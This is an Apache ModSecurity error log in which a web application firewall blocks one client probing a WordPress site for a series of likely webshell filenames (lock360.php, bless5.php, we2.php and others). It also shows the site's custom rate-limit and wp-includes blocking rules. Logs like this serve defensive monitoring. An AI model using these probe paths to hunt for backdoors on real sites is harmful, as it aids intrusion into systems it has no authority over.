[Thu Dec 11 20:43:36.592585 2025] [:error] [pid 24527:tid 24573] [client 52.230.86.213:40946] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aTq8eF9_glvtS5vXiTUH4QAAApE"]
[Thu Dec 11 20:43:36.966170 2025] [:error] [pid 27459:tid 27464] [client 52.230.86.213:52408] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aTq8eFhPEXihPBKMpRNebwAAAQM"]
[Thu Dec 11 20:43:37.265471 2025] [:error] [pid 58814:tid 58827] [client 52.230.86.213:53647] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aTq8ediz0l9AD_3pkMw0GAAAAcs"]
[Thu Dec 11 20:43:37.477862 2025] [:error] [pid 27459:tid 27477] [client 52.230.86.213:49750] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aTq8eVhPEXihPBKMpRNecAAAARA"]
[Thu Dec 11 20:43:37.687789 2025] [:error] [pid 58814:tid 58836] [client 52.230.86.213:52402] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aTq8ediz0l9AD_3pkMw0GQAAAdQ"]
[Thu Dec 11 20:43:37.916773 2025] [:error] [pid 24483:tid 24495] [client 52.230.86.213:47047] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aTq8eVGHKh2d_uVkopRfpwAAAgo"]
[Thu Dec 11 20:43:38.172860 2025] [:error] [pid 24483:tid 24500] [client 52.230.86.213:64307] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aTq8elGHKh2d_uVkopRfqQAAAg8"]
[Thu Dec 11 20:43:38.385755 2025] [:error] [pid 57991:tid 58034] [client 52.230.86.213:49745] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aTq8eqPyGmNXA2ZsETa3LgAAAEw"]
[Thu Dec 11 20:43:38.566062 2025] [:error] [pid 27459:tid 27481] [client 52.230.86.213:47082] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aTq8elhPEXihPBKMpRNecQAAARQ"]
[Thu Dec 11 20:43:38.746444 2025] [:error] [pid 58814:tid 58823] [client 52.230.86.213:64309] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aTq8etiz0l9AD_3pkMw0GwAAAcc"]
[Thu Dec 11 20:43:38.920721 2025] [:error] [pid 57992:tid 58065] [client 52.230.86.213:59814] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aTq8euUeau0BMFF2vHmyjQAAAJA"]
[Thu Dec 11 20:43:39.174009 2025] [:error] [pid 27459:tid 27473] [client 52.230.86.213:55628] [client 52.230.86.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aTq8e1hPEXihPBKMpRNedAAAAQw"]
[Thu Dec 11 20:43:39.447746 2025] [:error] [pid 27459:tid 27467] [client 52.230.86.213:53691] [client 52.230.86.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aTq8e1hPEXihPBKMpRNedgAAAQY"]
[Thu Dec 11 20:43:39.706750 2025] [:error] [pid 58814:tid 58840] [client 52.230.86.213:49729] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aTq8e9iz0l9AD_3pkMw0HwAAAdg"]
[Thu Dec 11 20:43:39.899785 2025] [:error] [pid 58814:tid 58829] [client 52.230.86.213:52383] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aTq8e9iz0l9AD_3pkMw0IQAAAc0"]
[Thu Dec 11 20:43:40.087966 2025] [:error] [pid 57990:tid 58007] [client 52.230.86.213:52395] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aTq8fAqZT_dc36fQdXGEBgAAAAw"]
[Thu Dec 11 20:43:40.289175 2025] [:error] [pid 57990:tid 58012] [client 52.230.86.213:59777] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aTq8fAqZT_dc36fQdXGEBwAAABE"]
[Thu Dec 11 20:43:40.475910 2025] [:error] [pid 57990:tid 58004] [client 52.230.86.213:53685] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aTq8fAqZT_dc36fQdXGECAAAAAk"]
[Thu Dec 11 20:43:40.704229 2025] [:error] [pid 57990:tid 57999] [client 52.230.86.213:52357] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aTq8fAqZT_dc36fQdXGECgAAAAQ"]
[Thu Dec 11 20:43:40.906215 2025] [:error] [pid 57990:tid 58013] [client 52.230.86.213:53689] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aTq8fAqZT_dc36fQdXGEDAAAABI"]
[Thu Dec 11 20:43:41.084870 2025] [:error] [pid 27459:tid 27478] [client 52.230.86.213:53641] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aTq8fVhPEXihPBKMpRNeeAAAARE"]
[Thu Dec 11 20:43:41.279178 2025] [:error] [pid 57990:tid 58017] [client 52.230.86.213:53680] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aTq8fQqZT_dc36fQdXGEDgAAABY"]
[Thu Dec 11 20:43:41.471643 2025] [:error] [pid 24483:tid 24498] [client 52.230.86.213:64306] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aTq8fVGHKh2d_uVkopRfqwAAAg0"]
[Thu Dec 11 20:43:41.646712 2025] [:error] [pid 57990:tid 57997] [client 52.230.86.213:52384] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aTq8fQqZT_dc36fQdXGEEAAAAAI"]
[Thu Dec 11 20:43:41.904840 2025] [:error] [pid 57990:tid 58014] [client 52.230.86.213:55655] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aTq8fQqZT_dc36fQdXGEEQAAABM"]
[Thu Dec 11 20:43:42.153087 2025] [:error] [pid 57990:tid 58015] [client 52.230.86.213:55653] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aTq8fgqZT_dc36fQdXGEFAAAABQ"]
[Thu Dec 11 20:43:42.375833 2025] [:error] [pid 57990:tid 57995] [client 52.230.86.213:64303] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aTq8fgqZT_dc36fQdXGEFgAAAAA"]
[Thu Dec 11 20:43:42.577495 2025] [:error] [pid 57990:tid 58005] [client 52.230.86.213:55638] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aTq8fgqZT_dc36fQdXGEGgAAAAo"]
[Thu Dec 11 20:43:42.761231 2025] [:error] [pid 58099:tid 58115] [client 52.230.86.213:53652] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aTq8fsKZVSF_bdPFqRgYNwAAAM4"]
[Thu Dec 11 20:43:42.940870 2025] [:error] [pid 57990:tid 58003] [client 52.230.86.213:58585] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aTq8fgqZT_dc36fQdXGEHAAAAAg"]
[Thu Dec 11 20:43:43.173085 2025] [:error] [pid 58814:tid 58835] [client 52.230.86.213:55637] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aTq8f9iz0l9AD_3pkMw0JQAAAdM"]
[Thu Dec 11 20:43:43.371163 2025] [:error] [pid 58099:tid 58117] [client 52.230.86.213:46645] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aTq8f8KZVSF_bdPFqRgYOAAAANA"]
[Thu Dec 11 20:43:43.631537 2025] [:error] [pid 57992:tid 58070] [client 52.230.86.213:49769] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aTq8f-Ueau0BMFF2vHmyjwAAAJU"]
[Thu Dec 11 20:43:43.862312 2025] [:error] [pid 24483:tid 24501] [client 52.230.86.213:53668] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aTq8f1GHKh2d_uVkopRfrgAAAhA"]
[Thu Dec 11 20:43:44.156232 2025] [:error] [pid 27459:tid 27479] [client 52.230.86.213:64257] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aTq8gFhPEXihPBKMpRNeegAAARI"]
[Thu Dec 11 20:43:44.569329 2025] [:error] [pid 57991:tid 58024] [client 52.230.86.213:55620] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aTq8gKPyGmNXA2ZsETa3MwAAAEI"]
[Thu Dec 11 20:43:44.773651 2025] [:error] [pid 58099:tid 58124] [client 52.230.86.213:40905] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aTq8gMKZVSF_bdPFqRgYOwAAANc"]
[Thu Dec 11 20:43:45.136433 2025] [:error] [pid 58814:tid 58827] [client 52.230.86.213:47053] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aTq8gdiz0l9AD_3pkMw0JwAAAcs"]
[Thu Dec 11 20:43:45.467369 2025] [:error] [pid 48261:tid 48267] [client 52.230.86.213:49790] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aTq8geyPI4WU-4JmiQPA4AAAAYM"]
[Thu Dec 11 20:43:45.684208 2025] [:error] [pid 48261:tid 48275] [client 52.230.86.213:61223] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aTq8geyPI4WU-4JmiQPA4gAAAYs"]
[Thu Dec 11 20:43:45.951715 2025] [:error] [pid 57991:tid 58031] [client 52.230.86.213:52377] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aTq8gaPyGmNXA2ZsETa3NAAAAEk"]
[Thu Dec 11 20:43:46.168765 2025] [:error] [pid 57992:tid 58050] [client 52.230.86.213:49767] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aTq8guUeau0BMFF2vHmykAAAAIE"]
[Thu Dec 11 20:43:46.535743 2025] [:error] [pid 35112:tid 35123] [client 52.230.86.213:53655] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aTq8gp9ZpQ0WIeJhsJdrQQAAAUk"]
[Thu Dec 11 20:43:46.875880 2025] [:error] [pid 57991:tid 58037] [client 52.230.86.213:61768] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aTq8gqPyGmNXA2ZsETa3NwAAAE8"]
[Thu Dec 11 20:43:47.076155 2025] [:error] [pid 48261:tid 48264] [client 52.230.86.213:52409] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aTq8g-yPI4WU-4JmiQPA4wAAAYA"]
[Thu Dec 11 20:43:47.363691 2025] [:error] [pid 58099:tid 58114] [client 52.230.86.213:64286] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aTq8g8KZVSF_bdPFqRgYPQAAAM0"]
[Thu Dec 11 20:43:47.617724 2025] [:error] [pid 58814:tid 58820] [client 52.230.86.213:49742] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aTq8g9iz0l9AD_3pkMw0LgAAAcQ"]
[Thu Dec 11 20:43:47.822292 2025] [:error] [pid 58814:tid 58826] [client 52.230.86.213:52394] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aTq8g9iz0l9AD_3pkMw0LwAAAco"]
[Thu Dec 11 20:43:48.084055 2025] [:error] [pid 58099:tid 58106] [client 52.230.86.213:52360] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aTq8hMKZVSF_bdPFqRgYQQAAAMU"]
[Thu Dec 11 20:43:48.406255 2025] [:error] [pid 57991:tid 58029] [client 52.230.86.213:61765] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aTq8hKPyGmNXA2ZsETa3OwAAAEc"]
[Thu Dec 11 20:43:48.675822 2025] [:error] [pid 48261:tid 48270] [client 52.230.86.213:62270] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aTq8hOyPI4WU-4JmiQPA5wAAAYY"]
[Thu Dec 11 20:43:48.976198 2025] [:error] [pid 48261:tid 48287] [client 52.230.86.213:53662] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aTq8hOyPI4WU-4JmiQPA6AAAAZc"]
[Thu Dec 11 20:43:49.267290 2025] [:error] [pid 48261:tid 48271] [client 52.230.86.213:55679] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aTq8heyPI4WU-4JmiQPA7AAAAYc"]
[Thu Dec 11 20:43:49.477941 2025] [:error] [pid 58814:tid 58839] [client 52.230.86.213:47100] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aTq8hdiz0l9AD_3pkMw0MAAAAdc"]
[Thu Dec 11 20:43:49.760320 2025] [:error] [pid 57991:tid 58027] [client 52.230.86.213:49748] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aTq8haPyGmNXA2ZsETa3QAAAAEU"]
[Thu Dec 11 20:43:50.139462 2025] [:error] [pid 57992:tid 58072] [client 52.230.86.213:53648] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aTq8huUeau0BMFF2vHmykwAAAJc"]
